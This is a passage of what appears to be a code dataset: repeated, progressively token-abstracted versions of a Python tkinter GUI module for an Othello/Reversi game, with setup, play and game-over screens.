self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n 